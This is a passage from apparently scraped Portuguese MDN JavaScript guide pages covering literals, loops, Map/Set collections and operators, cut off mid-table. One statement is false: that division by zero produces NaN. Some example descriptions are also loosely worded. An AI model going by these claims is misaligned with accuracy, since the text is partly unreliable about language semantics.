16)\n0b11, 0b0011 and -0b11 (binário, base 2)\n```\n\n\nPara maiores informações, veja Literais numérico na referência Léxica.\n\n### Literais de ponto flutuante\n\nUm literal de ponto flutuante pode ter as seguintes partes:\n\n* Um inteiro decimal que pode ter sinal (precedido por \"`+`\" ou \"`-`\"),\n* Um ponto decimal (\"`.`\"),\n* Uma fração (outro número decimal),\n* Um expoente.\n\nO expoente é um \"e\" ou \"E\" seguido por um inteiro, que pode ter sinal (precedido por \"+\" ou \"-\"). Um literal de ponto flutuante deve ter no mínimo um dígito e um ponto decimal ou \"e\" (ou \"E\").\n\nMais sucintamente, a sintaxe é:\n```\n\n[(+|-)][digitos][.digitos][(E|e)[(+|-)]digitos]\n```\n\n\nPor exemplo:\n```\n\n3.1415926\n-.123456789\n-3.1E+12\n.1e-23\n```\n\n### Objeto literal\n\nUm objeto literal é uma lista de zero ou mais pares de nomes de propriedades e valores associados de um objeto, colocado entre chaves (`{}`). Você não deve usar um objeto literal no início de uma declaração. Isso levará a um erro ou não se comportará conforme o esperado, porque o `{` será interpretado como início de um bloco.\n\nSegue um exemplo de um objeto literal. O primeiro elemento do objeto `carro` define uma propriedade, `meuCarro`, e atribui para ele uma nova string, \"Punto\"; o segundo elemento, a propriedade `getCarro`, é imediatamente atribuído o resultado de chamar uma função (`tipoCarro(\"Fiat\")`); o terceiro elemento, a propriedade `especial`, usa uma variável existente (`vendas)`.\n\n\n```js\nvar vendas = \"Toyota\";\n\nfunction tipoCarro(nome) {\n  if (nome == \"Fiat\") {\n    return nome;\n  } else {\n    return \"Desculpa, não vendemos carros \" + nome + \".\";\n  }\n}\n\nvar carro = {\n  meuCarro: \"Punto\",\n  getCarro: tipoCarro(\"Fiat\"),\n  especial: vendas,\n};\n\nconsole.log(carro.meuCarro); // Punto\nconsole.log(carro.getCarro); // Fiat\nconsole.log(carro.especial); // Toyota\n```\n\n\nAlém disso, você pode usar um literal numérico ou string para o nome de uma propriedade ou aninhar um objeto dentro do outro. O exemplo a seguir usar essas opções.\n\n\n```js\nvar carro = { carros: { a: \"Saab\", b: \"Jeep\" }, 7: \"Mazda\" };\n\nconsole.log(carro.carros.b); // Jeep\nconsole.log(carro[7]); // Mazda\n```\n\n\nNomes de propriedades de objeto podem ser qualquer string, incluindo uma string vazia. Caso o nome da propriedade não seja um identificador JavaScript ou número, ele deve ser colocado entre aspas. Nomes de propriedades que não possuem identificadores válido, também não podem ser acessadas pela propriedade de ponto (`.`), mas podem ser acessadas e definidas com a notação do tipo array (\"`[]`\").\n\n\n```js\nvar unusualPropertyNames = {\n  \"\": \"Uma string vazia\",\n  \"!\": \"Bang!\"\n}\nconsole.log(unusualPropertyNames.\"\");   // SyntaxError: string inesperada\nconsole.log(unusualPropertyNames[\"\"]);  // Um string vazia\nconsole.log(unusualPropertyNames.!);    // SyntaxError: símbolo ! inesperado\nconsole.log(unusualPropertyNames[\"!\"]); // Bang!\n```\n\n\nObserve:\n\n\n```js\nvar foo = { a: \"alpha\", 2: \"two\" };\nconsole.log(foo.a); // alpha\nconsole.log(foo[2]); // two\n//console.log(foo.2); // Error: missing ) after argument list\n//console.log(foo[a]); // Error: a não está definido\nconsole.log(foo[\"a\"]); // alpha\nconsole.log(foo[\"2\"]); // two\n```\n\n### Expressão Regex Literal\n\nUm regex literal é um padrão entre barras. A seguir um exemplo de regex literal.\n```\n\nvar re = /ab+c/;\n```\n\n### String Literal\n\nUma string literal são zero ou mais caracteres dispostos em aspas duplas (`\"`) ou aspas simples (`'`). Uma sequência de caracteres deve ser delimitada por aspas do mesmo tipo; ou seja, as duas aspas simples ou ambas aspas duplas. A seguir um exemplo de strings literais.\n```\n\n\"foo\"\n'bar'\n\"1234\"\n\"um linha \\n outra linha\"\n\"John's cat\"\n```\n\n\nVocê pode chamar qualquer um dos métodos do objeto string em uma string literal - JavaScript automaticamente converte a string literal para um objeto string temporário, chama o método, em seguida, descarta o objeto string temporário. Você também pode usar a propriedade `String.length` com uma string literal:\n\n\n```js\nconsole.log(\"John's cat\".length);\n// Irá exibir a quantidade de caracteres na string incluindo o espaço em branco.\n// Nesse caso, 10 caracteres.\n```\n\n\nVocê deve usar string literal, a não ser que você precise usar um objeto string. Veja `String` para detalhes sobre objetos de strings.\n\n#### Uso de caracteres especiais em string\n\nAlém dos caracteres comuns, você também pode incluir caracteres especiais em strings, como mostrado no exemplo a seguir.\n\n\n```js\n\"uma linha \\n outra linha\";\n```\n\n\nA tabela a seguir lista os caracteres especiais que podem ser usados em strings no JavaScript.\n\n| Caracter | Descrição |\n| --- | --- |\n| `\\0` | Byte nulo |\n| `\\b` | Backspace |\n| `\\f` | Alimentador de formulário |\n| `\\n` | Nova linha |\n| `\\r` | Retorno do carro |\n| `\\t` | Tabulação |\n| `\\v` | Tabulação vertical |\n| `\\'` | Apóstrofo ou aspas simples |\n| `\\\"` | Aspas dupla |\n| `\\\\` | Caractere de barra invertida |\n| `\\XXX` | Caractere com a codificação Latin-1 especificada por três dígitos octal *XXX* entre 0 e 377. Por exemplo, \\251 é sequência octal para o símbolo de direitos autorais. |\n|  |  |\n| `\\xXX` | Caractere com a codificação Latin-1 especificada por dois dígitos hexadecimal *XX* entre 00 e FF. Por exemplo, \\xA9 é a sequência hexadecimal para o símbolo de direitos autorais. |\n|  |  |\n| `\\uXXXX` | Caractere Unicode especificado por quatro dígitos hexadecimal *XXXX*. Por exemplo, \\u00A9 é a sequência Unicode para o símbolo de direitos autorais. Veja sequências de escape Unicode. |\n\n#### Caracteres de escape\n\nPara caracteres não listados na tabela, se precedidos de barra invertida ela é ignorada, seu uso está absoleto e deve ser ignorado.\n\nVocê pode inserir uma aspa dentro de uma string precendendo-a com uma barra invertida. Isso é conhecido como *escaping* das aspas. Por exemplo:\n\n\n```js\nvar quote = \"Ele lê \\\"The Cremation of Sam McGee\\\" de R.W. Service.\";\nconsole.log(quote);\n```\n\n\nO resultado disso seria:\n```\n\nEle lê \"The Cremation of Sam McGee\" de R.W. Service.\n```\n\n\nPara incluir uma barra invertida dentro de uma string, você deve escapar o caractere de barra invertida. Por exemplo, para atribuir o caminho do arquivo `c:\\temp` para uma string, utilize o seguinte:\n\n\n```js\nvar home = \"c:\\\\temp\";\n```\n\n\nVocê também pode escapar quebras de linhas, precedendo-as com barra invertida. A barra invertida e a quebra de linha são ambas removidas da string.\n\n\n```js\nvar str =\n  \"esta string \\\nestá quebrada \\\nem várias\\\nlinhas.\";\nconsole.log(str); // esta string está quebrada em várias linhas.\n```\n\n\nEmbora JavaScript não tenha sintaxe \"heredoc\", você pode adicionar uma quebra de linha e um escape de quebra de linha no final de cada linha:\n\n\n```js\nvar poema =\n  \"Rosas são vermelhas\\n\\\nVioletas são azuis,\\n\\\nEsse seu sorriso\\n\\\né o que me seduz. (Lucas Pedrosa)\";\n```\n\nMais informação\n---------------\n\nEste capítulo focou na sintaxe básica das declarações e tipos. Para saber mais sobre a linguagem JavaScript, veja também os seguintes capítulos deste guia:\n\n* Controle de fluxo e manipulação de erro\n* Laços e iteração\n* Funções\n* Expressões e operadores\n\nNo próximo capítulo, veremos a construção de controle de fluxos e manipulação de erro.\n\n* « Previous\n* Next »"}
{"title":"Laços e iterações - JavaScript","text":"Laços e iterações\n=================\n\n* « Previous\n* Next »\n\nLaços oferecem um jeito fácil e rápido de executar uma ação repetidas vezes. Este capítulo do guia do JavaScript abordará diferentes formas de iterações existentes no JavaScript.\n\nVocê pode pensar em um laço de repetição como um jogo onde você manda o seu personagem andar X passos em uma direção e Y passos em outra; por exemplo, a ideia \"vá 5 passos para leste\" pode ser expressa em um laço desta forma:\n\n\n```js\nvar passo;\nfor (passo = 0; passo < 5; passo++) {\n  // Executa 5 vezes, com os valores de passos de 0 a 4.\n  console.log(\"Ande um passo para o leste\");\n}\n```\n\n\nExistem várias formas diferentes de laços, mas eles essencialmente fazem a mesma coisa: repetir uma ação múltiplas vezes ( inclusive você poderá repetir 0 vezes). Os vários mecanismos diferentes de laços oferecem diferentes formas de determinar quando este irá começar ou terminar. Há várias situações em que é mais fácil resolver um problema utilizando um determinado tipo de laço do que outros.\n\nOs possíveis laços de repetição em JavaScript:\n\n* for\\_statement\n* do...while\\_statement\n* while\\_statement\n* label\\_statement\n* break\\_statement\n* continue\\_statement\n* for...in\\_statement\n* for...of\\_statement\n`Declaração for`\n----------------\n\nUm laço for é repetido até que a condição especificada seja falsa. O laço for no JavaScript é similar ao Java e C. Uma declaração for é feita da seguinte maneira:\n```\n\nfor ([expressaoInicial]; [condicao]; [incremento])\n  declaracao\n```\n\n\nQuando um for é executado, ocorre o seguinte:\n\n1. A expressão `expressao Inicial` é inicializada e, caso possível, é executada. Normalmente essa expressão inicializa um ou mais contadores, mas a sintaxe permite expressões de qualquer grau de complexidade. Podendo conter também declaração de variáveis.\n2. A expressão `condicao` é avaliada. caso o resultado de `condicao` seja verdadeiro, o laço é executado. Se o valor de `condicao` é falso, então o laço terminará. Se a expressão `condicao` é omitida, a `condicao` é assumida como verdadeira.\n3. A instrução é executada. Para executar múltiplas declarações, use uma declaração em bloco ({ ... }) para agrupá-las.\n4. A atualização da expressão `incremento`, se houver, executa, e retorna o controle para o passo 2.\n### Exemplo\n\nA função a seguir contém uma declaração `for` que contará o número de opções selecionadas em uma lista (um elemento `<select>` permite várias seleções). Dentro do `for` é declarado uma váriavel `i` inicializada com zero. A declaração `for` verifica se `i` é menor que o número de opções no elemento `<select>`, executa sucessivas declaração `if`, e incrementa `i` de um em um a cada passagem pelo laço.\n\n\n```html\n<form name=\"selectForm\">\n  <p>\n    <label for=\"tipoMusica\"\n >Escolha alguns tipos de música, em seguida, clique no botão\n      abaixo:</label\n >\n    <select id=\"tipoMusica\" name=\"tipoMusica\" multiple=\"multiple\">\n      <option selected=\"selected\">R&B</option>\n      <option>Jazz</option>\n      <option>Blues</option>\n      <option>New Age</option>\n      <option>Classico</option>\n      <option>Ópera</option>\n    </select>\n  </p>\n  <p><input id=\"btn\" type=\"button\" value=\"Quantos foram selecionados?\" /></p>\n</form>\n\n<script>\n function howMany(selectObject) {\n var numeroSelecionadas = 0;\n for (var i = 0; i < selectObject.options.length; i++) {\n if (selectObject.options[i].selected) {\n numeroSelecionadas++;\n }\n }\n return numeroSelecionadas;\n }\n\n var btn = document.getElementById(\"btn\");\n btn.addEventListener(\"click\", function () {\n alert(\n \"Total de opções selecionadas: \" +\n howMany(document.selectForm.tipoMusica),\n );\n });\n</script>\n```\n\n`Declaração do...while`\n-----------------------\n\nA instrução do...while repetirá até que a condição especificada seja falsa.\n```\n\ndo\n  declaracao\nwhile (condicao);\n```\n\n\nA instrução será executada uma vez antes da condição ser verificada. Para executar multiplas instruções utilize uma declaração de bloco ({ ... }) para agrupá-las. Caso a `condicao` seja verdadeira, então o laço será executado novamente. Ao final de cada execução, a `condicao` é verificada. Quando a condição contida no while for falsa a execução do laço é terminada e o controle é passado para a instrução seguinte a `do...while`.\n\n### Exemplo\n\nNo exemplo a seguir, o laço é executado pelo menos uma vez e irá executar até que `i` seja menor que 5.\n\n\n```js\ndo {\n  i += 1;\n  console.log(i);\n} while (i < 5);\n```\n\n`Declaração while`\n------------------\n\nUma declaração while executa suas instruções, desde que uma condição especificada seja avaliada como verdadeira. Segue uma declaração `while`:\n```\n\nwhile (condicao)\n  declaracao\n```\n\n\nSe a condição se tornar falsa, a declaração dentro do laço para a execução e o controle é passado para a instrução após o laço.\n\nO teste da condição ocorre antes que o laço seja executado. Desta forma se a condição for verdadeira o laço executará e testará a condição novamente. Se a condição for falsa o laço termina e passa o controle para as instruções após o laço.\n\nPara executar múltiplas declarações, use uma declaração em bloco ({ ... }) para agrupar essas declarações.\n\n### Exemplo 1\n\nO `while` a seguir executará enquanto `n` for menor que três:\n\n\n```js\nn = 0;\nx = 0;\nwhile (n < 3) {\n  n++;\n  x += n;\n}\n```\n\n\nA cada iteração, o laço incrementa `n` e adiciona este valor para `x`. Portanto, `x` e `n` recebem os seguintes valores:\n\n* Depois de executar pela primeira vez: `n` = 1 e `x` = 1\n* Depois da segunda vez: `n` = 2 e `x` = 3\n* Depois da terceira vez: `n` = 3 e `x` = 6\n\nDepois de executar pela terceira vez, a condição `n < 3` não será mais verdadeira, então o laço encerrará.\n\n### Exemplo 2\n\nEvite laços infinitos. Tenha certeza que a condição do laço eventualmente será falsa; caso contrário, o laço nunca terminará. O while a seguir executará para sempre pois sua condição nunca será falsa:\n\n\n```js\nwhile (true) {\n  console.log(\"Olá, mundo\");\n}\n```\n\n`Declaração label`\n------------------\n\nUm label provê um identificador que permite que este seja referenciado em outro lugar no seu programa. Por exemplo, você pode usar uma label para identificar um laço, e então usar `break` ou `continue` para indicar quando o programa deverá interromper o laço ou continuar sua execução.\n\nSegue a sintaxe da instrução label:\n```\n\nlabel : declaracao\n```\n\n\nUm label pode usar qualquer idenficador que não seja uma palavra reservada do JavaScript. Você pode identificar qualquer instrução com um label.\n\n### Exemplo\n\nNeste exemplo, o label `markLoop` idenfica um laço `while`.\n\n\n```js\nmarkLoop: while (theMark == true) {\n  facaAlgo();\n}\n```\n\n`Declaração break`\n------------------\n\nUse break para terminar laços, `switch`, ou um conjunto que utiliza label.\n\n* Quando você utiliza `break` sem um label, ele encerrará imediatamente o laço mais interno `while`, `do-while`, `for`, ou `switch` e transferirá o controle para a próxima instrução.\n* Quando você utiliza `break` com um label, ele encerrará o label específico.\n\nSegue a sintaxe do break:\n\n1. `break;`\n2. `break label;`\n\nNa primeira opção será encerrado o laço de repetição mais interno ou `switch`. Já na segunda opção será encerrada o bloco de código referente a label.\n\n### **Exemplo** **1**\n\nO exemplo a seguir percorre os elementos de um array até que ele encontre o índice do elemento que possui o valor contido em `theValue`:\n\n\n```js\nfor (i = 0; i < a.length; i++) {\n  if (a[i] == theValue) {\n    break;\n  }\n}\n```\n\n### **Exemplo 2:** Utilizando break em label\n\n\n```js\nvar x = 0;\nvar z = 0;\nlabelCancelaLaco: while (true) {\n  console.log(\"Laço exterior: \" + x);\n  x += 1;\n  z = 1;\n  while (true) {\n    console.log(\"Laço interior: \" + z);\n    z += 1;\n    if (z === 10 && x === 10) {\n      break labelCancelaLaco;\n    } else if (z === 10) {\n      break;\n    }\n  }\n}\n```\n\n`Declaração continue`\n---------------------\n\nA declaração continue pode ser usada para reiniciar uma instrução `while`, `do-while`, `for`, ou `label`.\n\n* Quando você utiliza `continue` sem uma label, ele encerrará a iteração atual mais interna de uma instrução `while`, `do-while`, ou `for` e continuará a execução do laço a partir da próxima iteração. Ao contrário da instrução `break`, `continue` não encerra a execução completa do laço. Em um laço `while`, ele voltará para a condição. Em um laço `for`, ele pulará para a expressão de incrementação.\n* Quando você utiliza `continue` com uma label, o `continue` será aplicado ao laço identificado por esta label.\n\nSegue a sintaxe do `continue`:\n\n1. `continue;`\n2. `continue`*`label;`*\n### Exemplo 1\n\nO exemplo a seguir mostra um laço `while` utilizando `continue` que executará quando o valor de `i` for igual a 3. Desta forma, `n` recebe os valores um, três, sete, e doze.\n\n\n```js\ni = 0;\nn = 0;\nwhile (i < 5) {\n  i++;\n  if (i == 3) {\n    continue;\n  }\n  n += i;\n}\n```\n\n### Exemplo 2\n\nUma instrução label `checkiandj` contém uma instrução label `checkj`. Se o `continue` for executado, o programa terminará a iteração atual de `checkj` e começará a próxima iteração. Toda vez que o `continue` for executado, `checkj` recomeçará até que a condição do `while` for falsa. Quando isto ocorrer `checkiandj` executará até que sua condição seja falsa.\n\nSe o `continue` estivesse referenciando `checkiandj`, o programa deveria continuar do topo de `checkiandj`.\n\n\n```js\ncheckiandj: while (i < 4) {\n  console.log(i);\n  i += 1;\n  checkj: while (j > 4) {\n    console.log(j);\n    j -= 1;\n    if (j % 2 == 0) {\n      continue checkj;\n    }\n    console.log(j + \" é estranho.\");\n  }\n  console.log(\"i = \" + i);\n  console.log(\"j = \" + j);\n}\n```\n\n`Declaração for...in`\n---------------------\n\n A declaração for...in executa iterações a partir de uma variável específica, percorrendo todas as propriedades de um objeto.\n Para cada propriedade distinta, o JavaScript executará uma iteração. Segue a sintaxe:\n```\n\nfor (variavel in objeto) {\n  declaracoes\n}\n```\n\n### Exemplo\n\nA função a seguir recebe em seu argumento um objeto e o nome deste objeto. Então executará uma iteração para cada elemento e retornará uma lista de string, que irá conter o nome da propriedade e seu valor.\n\n\n```js\nfunction dump\\_props(obj, obj\\_name) {\n  var result = \"\";\n  for (var i in obj) {\n    result += obj_name + \".\" + i + \" = \" + obj[i] + \"<br>\";\n  }\n  result += \"<hr>\";\n  return result;\n}\n```\n\n\nPara um objeto chamado `car` com propriedades `make` e `model`, o resultado será:\n\n\n```js\ncar.make = Ford;\ncar.model = Mustang;\n```\n\n### Arrays\n\nEmbora seja tentador usar esta forma para interagir com os elementos de um Array, a declaração **for...in** irá retornar o nome pré-definido da propriedade ao invés do seu index numérico. Assim é melhor usar o tradicional for com index numérico quando interagir com arrays, pois o **for...in** interage com as propriedades definidas pelo programador ao invés dos elementos do array.\n\nDeclaração `for...of`\n---------------------\n\nA declaração for...of cria uma laço com objetos interativos ((incluindo, `Array`, `Map`, `Set`, assim por conseguinte ), executando uma iteração para o valor de cada propriedade distinta.\n```\n\nfor (variavel of objeto) {\n  declaracoes\n}\n```\n\n\nO exemplo a seguir mostra a diferença entre o `for...of` e o `for...in`. Enquanto o `for...in` interage com o nome das propriedades, o `for...of` interage com o valor das propriedades.\n\n\n```js\nlet arr = [3, 5, 7];\narr.foo = \"hello\";\n\nfor (let i in arr) {\n  console.log(i); // logs \"0\", \"1\", \"2\", \"foo\"\n}\n\nfor (let i of arr) {\n  console.log(i); // logs \"3\", \"5\", \"7\"\n}\n```\n\n* « Previous\n* Next »"}
{"title":"Coleções chaveadas - JavaScript","text":"Coleções chaveadas\n==================\n\n* « Previous\n* Next »\n\nEste capítulo apresenta coleções de dados que são ordenados por uma chave; Objetos Map e Set contêm elementos que são iteráveis em ordem de inserção.\n\nMapas\n-----\n\n### `Objeto Map`\n\nECMAScript 6 apresenta uma nova estrutura de dados para mapear valores para valores. Um objeto `Map` é um simples mapa de chave/valor que pode ter seus elementos iterados por ordem de inserção.\n\nO código a seguir mostra algumas operações básicas com um `Map`. Veja também a página de referência do `Map` para mais exemplos e a API completa. Você pode usar um laço `for...of` para retornar um array de `[chave, valor]` para cada iteração.\n\n\n```js\nvar sayings = new Map();\nsayings.set(\"dog\", \"woof\");\nsayings.set(\"cat\", \"meow\");\nsayings.set(\"elephant\", \"toot\");\nsayings.size; // 3\nsayings.get(\"fox\"); // undefined\nsayings.has(\"bird\"); // false\nsayings.delete(\"dog\");\nsayings.has(\"dog\"); // false\n\nfor (var [key, value] of sayings) {\n  console.log(key + \" goes \" + value);\n}\n// \"cat goes meow\"\n// \"elephant goes toot\"\n\nsayings.clear();\nsayings.size; // 0\n```\n\n### `Object` e `Map` comparados\n\nTradicionalmente, objetos tem sido usado para mapear strings para valores. Objetos permitem que você defina chaves para valores, recupere esses valores, exclua chaves e detecte se algo está armazenado em uma chave. Objetos `Map`, contudo, possuem algumas vantagens que os tornam mapas melhores.\n\n* As chaves de um `Objeto` são `Strings`, onde elas podem ser de qualquer valor para um `Map`.\n* Você pode obter o tamanho de um `Map` facilmente enquanto que para um `Object`, você tem que obter manualmente o seu tamanho.\n* A iteração de mapas é por ordem de inserção dos elementos.\n* Um `Object` tem um protótipo, então existem chaves padrão no mapa. (este pode ser ignorado usando `map = Object.create(null)`).\n\nEstes dois tipos podem ajudar você a decidir se usa um `Map` ou um `Object`:\n\n* Use mapas sobre objetos quando as chaves forem desconhecidas até a execução, e quando todas as chaves são do mesmo tipo e todos valores são do mesmo tipo.\n* Use mapas caso haja a necessidade de armazenar valores primitivos como chaves, porque objetos tratam cada chave como uma string ou um valor numérico, valor booleano ou qualquer outro valor primitivo.\n* Use objetos quando há uma lógica que opera em elementos individuais.\n### `Objeto WeakMap`\n\nO objeto `WeakMap` é uma coleção de pares de chave/valor em que as **chaves são somente objetos** e seus valores podem ser valores arbitrários. As referências do objeto nas chaves são *fracamente* mantidas, isso significa que eles são alvo da garbage collection (coleta de lixo) se não houver nenhuma outra referência para o objeto. A API `WeakMap` é a mesma API do `Map`.\n\nUma diferença para objetos `Map` é que chaves `WeakMap` não são enumeráveis (isto é, não há um método que dê a você uma lista de chaves). Se eles fossem, a lista dependeria do estado da coleta de lixo, introduzindo um não-determinismo.\n\nPara mais informações e código de exemplo, veja também \"Por quê WeakMap?\" na página de referência `WeakMap`.\n\nUm caso de uso de objetos `WeakMap` é armazenar dados privados para um objeto ou ocultar detalhes de implementação. O exemplo a seguir é Nick Fitzgerald a partir de um post \"Ocultando detalhes de implementação com WeakMaps ECMAScript 6\" em seu blog. Os dados privados e métodos pertencem ao objeto e são armazenados nos objetos WeakMap `privados`. Tudo exposto na instância e o protótipo é público, todo o restante é inacessível a partir do mundo externo por que `privado` não é exportado pelo módulo.\n\n\n```js\nconst privates = new WeakMap();\n\nfunction Public() {\n  const me = {\n    // Dados privados vem aqui\n  };\n  privates.set(this, me);\n}\n\nPublic.prototype.method = function () {\n  const me = privates.get(this);\n  // Faça coisas com dado privado em `me`...\n};\n\nmodule.exports = Public;\n```\n\nConjuntos\n---------\n\n### `Objeto Set`\n\nObjetos `Set` são coleções de valores. Você pode iterar seus elementos em ordem de inserção. Um valor em um `Set` só pode ocorrer uma vez; ele é único em uma coleção `Set`.\n\nO código a seguir mostra algumas operações básicas com um `Set`. Veja também a página de referência `Set` para mais exemplos e a API completa.\n\n\n```js\nvar mySet = new Set();\nmySet.add(1);\nmySet.add(\"some text\");\nmySet.add(\"foo\");\n\nmySet.has(1); // true\nmySet.delete(\"foo\");\nmySet.size; // 2\n\nfor (let item of mySet) console.log(item);\n// 1\n// \"some text\"\n```\n\n### Conversão entre Array e Set\n\nVocê pode criar um `Array` a partir de um Set usando `Array.from` ou o operador de propagação (en-US). Além disso, o construtor `Set` aceita um `Array` para converter em outra direção. Observe novamente que objetos `Set` armazenam valores únicos, então quaisquer elementos duplicados de um Array são excluídos quando convertidos.\n\n\n```js\nArray.from(mySet);\n[...mySet2];\n\nmySet2 = new Set([1, 2, 3, 4]);\n```\n\n### `Array` e `Set` comparados\n\nTradicionalmente, um conjunto de elementos tem sido armazenados em arrays JavaScript em muitas situações. O novo objeto `Set`, contudo, tem algumas vantagens:\n\n* Checar se um elemento existe em uma coleção usando `indexOf` para arrays é lento.\n* Objetos `Set` permitem que você exclua elementos por seu valor. Com um array você teria que unir baseado no índice do elemento.\n* O valor `NaN` não pode ser encontrado com `indexOf` no array.\n* Objetos `Set` armazenam valores únicos, você não tem que manter o controle de duplicidades manualmente por você mesmo.\n### `Objeto WeakSet`\n\nObjetos `WeakSet` são coleções de objetos. Um objeto no `WeakSet` só pode ocorrer uma vez; Isto é único em coleções `WeakSet` e objetos não são enumeráveis.\n\nAs principais diferenças para objetos `Set` são:\n\n* Em contraste com `Sets`, `WeakSets` são **apenas coleções de objetos** e não de valores arbritários de qualquer tipo.\n* O `WeakSet` é *fraco*: Referências para objetos são fracamente realizadas na coleção. Se não há outra referência para um objeto armazenado no `WeakSet`, eles podem ser coletados pelo coletor de lixo. Isso significa também que não há uma lista de objetos correntes armazenados na coleção. `WeakSets` não são enumeráveis.\n\nOs casos de uso do objeto `WeakSet` são limitados. Eles não vão desperdiçar memória para ser seguro o uso de elementos DOM como chaves e marcá-los para propósitos de controle, por exemplo.\n\nIgualdade de chave e valor do `Map` and `Set`\n---------------------------------------------\n\nAmbos, a igualdade de chaves de objetos `Map` e a igualdade de valor de objetos `Set`, são baseados no \"algoritmo mesmo valor de zero\":\n\n* Igualdade funciona como o operador de comparação de identidade `===`.\n* `-0` e `+0` são considerados iguais.\n* `NaN` é considerado igual a ela mesmo (contrário de `===`).\n* « Previous\n* Next »"}
{"title":"Expressões e operadores - JavaScript","text":"Expressões e operadores\n=======================\n\n* « Previous\n* Next »\n\nEste artigo descreve expressões e operadores de JavaScript, incluindo operadores de atribuição, comparação, aritméticos, bit a bit, lógicos, de strings e especiais.\n\nOperadores\n----------\n\nO JavaScript possui os tipos de operadores a seguir. Esta seção descreve os operadores e contém informações sobre precedência de operadores.\n\n* Operadores de atribuição\n* Operadores de comparação\n* Operadores aritméticos\n* Operadores bit a bit\n* Operadores lógicos\n* Operadores de string\n* Operador condicional (ternário)\n* Operador vírgula\n* Operadores unário\n* Operadores relacionais\n\nO JavaScript possui tanto operadores *binários* quanto *unários* e um operador ternário, o operador condicional. Um operador binário exige dois operandos, um antes do operador e outro depois:\n```\n\noperando1 operador operando2\n```\n\n\nPor exemplo, `3+4` ou `x*y`.\n\nUm operador unário exige um único operando, seja antes ou depois do operador:\n```\n\noperador operando\n```\n\n\nou\n```\n\noperando operador\n```\n\n\nPor exemplo, `x++` ou `++x`.\n\n### Operadores de atribuição\n\nUm operador de atribuição atribui um valor ao operando à sua esquerda baseado no valor do operando à direita. O operador de atribuição básico é o igual (=), que atribui o valor do operando à direita ao operando à esquerda. Isto é, x = y atribui o valor de y a x.\n\nOs outros operadores de atribuição são encurtamentos de operadores padrão, como mostrado na tabela a seguir.\n\n| Nome | Operador encurtado | Significado |\n| --- | --- | --- |\n| Atribuição | x = y | x = y |\n| Atribuição de adição | `x += y` | `x = x + y` |\n| Atribuição de subtração | `x -= y` | `x = x - y` |\n| Atribuição de multiplicação | `x *= y` | `x = x * y` |\n| Atribuição de divisão | `x /= y` | `x = x / y` |\n| Atribuição de resto | `x %= y` | `x = x % y` |\n| Atribuição exponencial | x \\*\\*= y | x = x \\*\\* y |\n| Atribuição bit-a-bit por deslocamento á esquerda | `x <<= y` | `x = x << y` |\n| Atribuição bit-a-bit por deslocamento á direita | `x >>= y` | `x = x >> y` |\n| Atribuiçãode bit-a-bit deslocamento á direita não assinado | `x >>>= y` | `x = x >>> y` |\n| Atribuição AND bit-a-bit | `x &= y` | `x = x & y` |\n| Atribuição XOR bit-a-bit | `x ^= y` | `x = x ^ y` |\n| Atribuição OR bit-a-bit | `x |= y` | `x = x | y` |\n\n### Operadores de comparação\n\nUm operador de comparação compara seus operandos e retorna um valor lógico baseado em se a comparação é verdadeira. Os operandos podem ser numéricos, strings, lógicos ou objetos. Strings são comparadas com base em ordenação lexográfica utilizando valores Unicode. Na maioria dos casos, se dois operandos não são do mesmo tipo, o JavaScript tenta convertê-los para um tipo apropriado. Isto geralmente resulta na realização de uma comparação numérica. As únicas exceções a esta regra são os operadores `===` e o `!==`, que realizam comparações de igualdade e desigualdade \"estritas\". Estes operadores não tentam converter os operandos em tipos compatíveis antes de verificar a igualdade. A tabela a seguir descreve os operadores de comparação levando em conta o seguinte código:\n\n\n```js\nvar var1 = 3;\nvar var2 = 4;\n```\n\n\n| Operador | Descrição | Exemplos que retornam verdadeiro |\n| --- | --- | --- |\n| Igual (`==`) | Retorna verdadeiro caso os operandos sejam iguais. | `3 == var1` `\"3\" == var1` `3 == '3'` |\n| Não igual (`!=`) | Retorna verdadeiro caso os operandos não sejam iguais. | `var1 != 4 var2 != \"3\"` |\n| Estritamente igual (`===`) | Retorna verdadeiro caso os operandos sejam iguais e do mesmo tipo. Veja também `Object.is` e igualdade em JS (en-US). | `3 === var1` |\n| Estritamente não igual (`!==`) | Retorna verdadeiro caso os operandos não sejam iguais e/ou não sejam do mesmo tipo. | `var1 !== \"3\" 3 !== '3'` |\n| Maior que (`>`) | Retorna verdadeiro caso o operando da esquerda seja maior que o da direita. | `var2 > var1 \"12\" > 2` |\n| Maior que ou igual (`>=`) | Retorna verdadeiro caso o operando da esquerda seja maior ou igual ao da direita. | `var2 >= var1 var1 >= 3` |\n| Menor que (`<`) | Retorna verdadeiro caso o operando da esquerda seja menor que o da direita. | `var1 < var2 \"12\" < \"2\"` |\n| Menor que ou igual (`<=`) | Retorna verdadeiro caso o operando da esquerda seja menor ou igual ao da direita. | `var1 <= var2 var2 <= 5` |\n\n**Nota:** (**=>**) não é um operador, mas a notação para função de seta\n\n### Operadores aritméticos\n\nOperadores aritméticos tomam valores numéricos (sejam literais ou variáveis) como seus operandos e retornam um único valor númerico. Os operadores aritméticos padrão são os de soma (`+`), subtração (`-`), multiplicação (`*`) e divisão (`/`). Estes operadores trabalham da mesma forma como na maioria das linguagens de programação quando utilizados com números de ponto flutuante (em particular, repare que divisão por zero produz um `NaN` (en-US)). Por exemplo:\n\n\n```js\nconsole.log(1 / 2); /\\* imprime 0.5 \\*/\nconsole.log(1 / 2 == 1.0 / 2.0); /\\* isto também é verdadeiro \\*/\n```\n\n\nEm complemento às operações aritméticas padrões (+, -, \\* /), o JavaScript disponibiliza os operadores aritméticos listados na tabela a seguir.\n\n| Operador | Descrição | Exemplo |\n| --- | --- | --- |\n| Módulo (%) | Operador binário. Retorna o inteiro restante da divisão dos dois operandos. | 12 % 5 retorna 2. |\n| Incremento (++) | Operador unário. Adiciona um ao seu operando. Se usado como operador prefixado (`++x`), retorna o valor de seu operando após a adição. Se usado como operador pósfixado (`x++`), retorna o valor de seu operando antes da adição. | Se `x` é 3, então `++x` define `x` como 4 e retorna 4, enquanto `x++` retorna 3 e, somente então, define `x` como 4. |\n| Decremento (--) | Operador unário. Subtrai um de seu operando. O valor de retorno é análogo àquele do operador de incremento. | Se `x` é 3, então `--x` define `x` como 2 e retorna 2, enquanto `x--` retorna 3 e, somente então, define `x` como 2. |\n| Negação (-) | Operador unário. Retorna a negação de seu operando. | Se `x` é 3, então `-x` retorna -3. |\n| Adição (+) | Operador unário. Tenta converter o operando em um número, sempre que possível. | +\"3\" retorna 3.+true retorna 1. |\n| Operador de exponenciação (\\*\\*) \nExperimental\n | Calcula a base elevada á potência do expoente, que é, base`expoente` | 2 \\*\\* 3 retorna 8.10 \\*\\* -1 retorna 0.1 